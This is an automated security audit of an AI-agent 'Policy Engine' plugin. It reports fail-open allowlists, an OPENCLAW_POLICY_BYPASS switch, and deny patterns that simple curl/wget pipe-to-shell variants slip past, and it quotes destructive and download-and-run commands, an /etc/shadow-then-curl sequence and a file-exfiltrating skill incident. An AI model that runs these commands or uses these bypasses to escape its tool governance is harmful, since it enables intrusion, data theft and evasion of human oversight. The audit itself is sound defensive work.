Back to skill

Security audit

Policy Engine

Security checks for vulnerabilities and agentic risk

Overview

This appears to be a legitimate policy-engine plugin, but its own enforcement boundary has fail-open and bypass behaviors that can make restrictive policies much weaker than users expect.

Install only if you treat this as an advisory guardrail, not a sandbox or authoritative security boundary. Review the defaults carefully, remove powerful tools such as gateway and sessions_send from any always-allowed recovery set where possible, avoid empty allowlist profiles, keep OPENCLAW_POLICY_BYPASS unset except during supervised recovery, and do not rely on the built-in deny patterns or path allowlists as the only protection around exec or write-capable tools.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (5)

T05 · Unauthorized Access and Privilege Escalation

Error
Location
src/engine.ts:101
Finding

Configured allowlists are bypassed for essential and T0 tools

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
src/engine.ts:158
Finding

Empty or invalid allowlist profiles silently grant access to all tools

Content
View full analysis
{ if (!raw || typeof raw !== "object" || Array.isArray(raw)) { return {}; } const result: Record = {}; for (const [key, value] of Object.entries(raw as Record)) { if (Array.isArray(value)) { result[key] = value.filter((v): v is string => typeof v === "string"); } } return result; } ``` ### Technical Analysis An explicitly configured empty allowlist normally represents a deny-all policy. The implementation instead interprets it as unrestricted access. This creates dangerous ambiguity between an absent profile and a present profile containing no permitted tools. The configuration parser silently removes non-string entries. A malformed or partially invalid profile can consequently become an empty array and trigger the same fail-open behavior without producing an error. Because the engine's default decision is to allow, this condition can expose all non-exempt tools, including `exec`, `process`, write operations, and other tools with external effects. ### Attack Path 1. An administrator creates an empty profile to quarantine an agent or deny all tools. 2. Alternatively, deployment automation supplies malformed allowlist entries that are silently filtered out. 3. Routing assigns the resulting profile to an agent. 4. The agent invokes a dangerous tool such as `exec`. 5. `checkAllowlist()` sees an empty array and returns `undefined`, which means no block decision. 6. If no deny ...[truncated 543 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
src/hooks/before-tool-call.ts:106
Finding

Policy evaluation errors permit the original tool call

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
src/patterns.ts:14
Finding

Literal shell deny patterns are easily bypassed by common command variants

Content
View full analysis
/dev/sd", "chmod -R 777 /", "mv /* ", "wget -O- | sh", "curl | sh", ]; ``` ```ts for (const pattern of patterns) { if (relevant.includes(pattern.toLowerCase())) { return { matched: true, pattern }; } } ``` ### Technical Analysis The deny mechanism performs case-insensitive literal substring matching. It does not parse shell syntax, normalize whitespace, understand flags, or interpret configured expressions as regular expressions. The built-in strings `curl | sh` and `wget -O- | sh` only match those exact textual sequences. Common dangerous commands such as the following do not contain those substrings: ```sh curl -fsSL https://example.invalid/payload | bash wget -qO- https://example.invalid/payload | /bin/sh curl "$URL" | env bash ``` Attackers can also use alternate spacing, variables, command substitution, another interpreter, or equivalent download utilities. Documentation in `DESIGN.md` shows regex-like examples such as `curl.*\|\s*bash`, but the implementation treats user patterns as plain strings. This mismatch may cause administrators to believe that broader matching is active when it is not. The flagged curl/wget strings in this file are defensive data and are not themselves executed. The vulnerability is their inadequate effectiveness as a security control. ### Attack Path 1. An agent has access to the `exec` tool under the default permissive configuration or an assigned profile. 2. Malicious input directs the agent to download and execute a remote payload. 3. The generated command uses a variant such as `curl -fsSL URL | bash`. 4. Literal matching does not find `curl | sh`. 5. No allowlist, pat ...[truncated 621 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
src/patterns.ts:224
Finding

Lexical path checks permit writes outside allowlisted directories through symbolic links

Content
View full analysis
{ // Normalize prefix: ensure it ends with separator for directory matching const normalizedPrefix = prefix.endsWith(nodePath.sep) ? prefix : prefix + nodePath.sep; // Allow exact match to the prefix directory itself, or anything under it return resolved === prefix.replace(/\/$/, "") || resolved.startsWith(normalizedPrefix); }); if (!allowed) { return { blocked: true, resolvedPath: resolved, reason: `Blocked: path "${resolved}" is outside allowed directories [${allowedPrefixes.join(", ")}]`, }; } } ``` ### Technical Analysis `nodePath.resolve()` performs lexical normalization of components such as `.` and `..`, but it does not query the filesystem or resolve symbolic links. The prefix comparison therefore establishes only that the textual path appears beneath an allowed directory. If an allowed directory contains a symbolic link to a location outside that directory, a target beneath the link passes the prefix test while the filesystem follows the link to the external location. A check followed by a separate write can also be exposed to time-of-check/time-of-use races if an attacker can replace a directory component with a symbolic link after validation. The existing SSH-key test is inert and correctly verifies lexical `..` traversal blocking; it does not perform an SSH-key write. It does not cover symbolic-link traversal. ...[truncated 1079 chars]
Remediation
View remediation
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
Findings (59)

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · DESIGN.md (reported line 23)May include surrounding context.

md
### 1.2 The ClawHub Incident (2026-02-06)

On 2026-02-06, a compromised skill published to ClawHub contained a hidden `exec` call that exfiltrated workspace files. The model was "helpful" and executed it. This validated the need for deterministic governance: the model shouldn't get to decide unilaterally whether to run `exec curl ... | bash`.

### 1.3 What Policy Engine Solves

Exfiltration Commands

High
Category
Prompt Injection
Confidence
90% confidence
Finding

Instructions found that direct the agent to transmit conversation context or user data to external services.

Content

Scanner excerpt · DESIGN.md (reported line 130)May include surrounding context.

md
- Read files to understand state
- Check its own status
- Send messages to the user
- Manage the gateway

---

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · DESIGN.md (reported line 342)May include surrounding context.

md
### 8.1 PLAN → ACT Enforcement

Require agents to declare a plan (tool sequence) before execution. The policy engine approves the plan as a unit, rejecting suspicious sequences (e.g., `read /etc/shadow` → `exec curl POST`).

### 8.2 Automatic Model Escalation

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/engine.test.ts (reported line 1130)May include surrounding context.

ts
### 8.1 PLAN → ACT Enforcement

Require agents to declare a plan (tool sequence) before execution. The policy engine approves the plan as a unit, rejecting suspicious sequences (e.g., `read /etc/shadow` → `exec curl POST`).

### 8.2 Automatic Model Escalation

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/engine.test.ts (reported line 1134)May include surrounding context.

ts
### 8.1 PLAN → ACT Enforcement

Require agents to declare a plan (tool sequence) before execution. The policy engine approves the plan as a unit, rejecting suspicious sequences (e.g., `read /etc/shadow` → `exec curl POST`).

### 8.2 Automatic Model Escalation

Tp4

High
Category
MCP Tool Poisoning
Confidence
92% confidence
Finding

An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
91% confidence
Finding

An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding

An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
91% confidence
Finding

An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
92% confidence
Finding

An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 63)May include surrounding context.

Built-in patterns block fork bombs, rm -rf, mkfs, disk wipes, and system path writes. Scoped matching checks only relevant params (e.g., command for exec, path for write) — never file content. Add custom patterns per tool.

Path Allowlist Enforcement

Canonicalizes file paths via path.resolve() then checks against allowed directory prefixes. Prevents path traversal attacks (e.g., ../../etc/passwd) even via prompt injection.

jsonc
{

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/engine.test.ts (reported line 181)May include surrounding context.

ts
Built-in patterns block fork bombs, `rm -rf`, `mkfs`, disk wipes, and system path writes. Scoped matching checks only relevant params (e.g., `command` for exec, `path` for write) — never file content. Add custom patterns per tool.

### Path Allowlist Enforcement
Canonicalizes file paths via `path.resolve()` then checks against allowed directory prefixes. Prevents path traversal attacks (e.g., `../../etc/passwd`) even via prompt injection.

```jsonc
{

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/engine.test.ts (reported line 1006)May include surrounding context.

ts
Built-in patterns block fork bombs, `rm -rf`, `mkfs`, disk wipes, and system path writes. Scoped matching checks only relevant params (e.g., `command` for exec, `path` for write) — never file content. Add custom patterns per tool.

### Path Allowlist Enforcement
Canonicalizes file paths via `path.resolve()` then checks against allowed directory prefixes. Prevents path traversal attacks (e.g., `../../etc/passwd`) even via prompt injection.

```jsonc
{

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/engine.test.ts (reported line 1009)May include surrounding context.

ts
Built-in patterns block fork bombs, `rm -rf`, `mkfs`, disk wipes, and system path writes. Scoped matching checks only relevant params (e.g., `command` for exec, `path` for write) — never file content. Add custom patterns per tool.

### Path Allowlist Enforcement
Canonicalizes file paths via `path.resolve()` then checks against allowed directory prefixes. Prevents path traversal attacks (e.g., `../../etc/passwd`) even via prompt injection.

```jsonc
{

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/engine.test.ts (reported line 1044)May include surrounding context.

ts
Built-in patterns block fork bombs, `rm -rf`, `mkfs`, disk wipes, and system path writes. Scoped matching checks only relevant params (e.g., `command` for exec, `path` for write) — never file content. Add custom patterns per tool.

### Path Allowlist Enforcement
Canonicalizes file paths via `path.resolve()` then checks against allowed directory prefixes. Prevents path traversal attacks (e.g., `../../etc/passwd`) even via prompt injection.

```jsonc
{

Direct Prompt Extraction

High
Category
System Prompt Leakage
Confidence
85% confidence
Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · src/engine.ts (reported line 186)May include surrounding context.

ts
if (agentId) {
      const rule = this.config.routing[agentId];
      if (rule?.toolProfile && this.config.allowlists[rule.toolProfile]) {
        return rule.toolProfile;
      }
    }

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

This hook is described as the enforcement point for tool governance, yet setting OPENCLAW_POLICY_BYPASS=1 causes it to allow every tool call without policy evaluation. In addition, the catch block returns undefined on error, which fails open and permits execution when the policy engine crashes or encounters malformed input. In a governance layer, both behaviors create a straightforward path to defeat protections.

Content

No source excerpt is available for this finding.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · src/patterns.ts (reported line 20)May include surrounding context.

ts
":(){ :|:& };:",
  "dd if=",
  "> /dev/sd",
  "chmod -R 777 /",
  "mv /* ",
  "wget -O- | sh",
  "curl | sh",

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · src/patterns.ts (reported line 22)May include surrounding context.

ts
"> /dev/sd",
  "chmod -R 777 /",
  "mv /* ",
  "wget -O- | sh",
  "curl | sh",
];

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · src/patterns.ts (reported line 23)May include surrounding context.

ts
"chmod -R 777 /",
  "mv /* ",
  "wget -O- | sh",
  "curl | sh",
];

const DEFAULT_WRITE_DENY_PATTERNS: string[] = [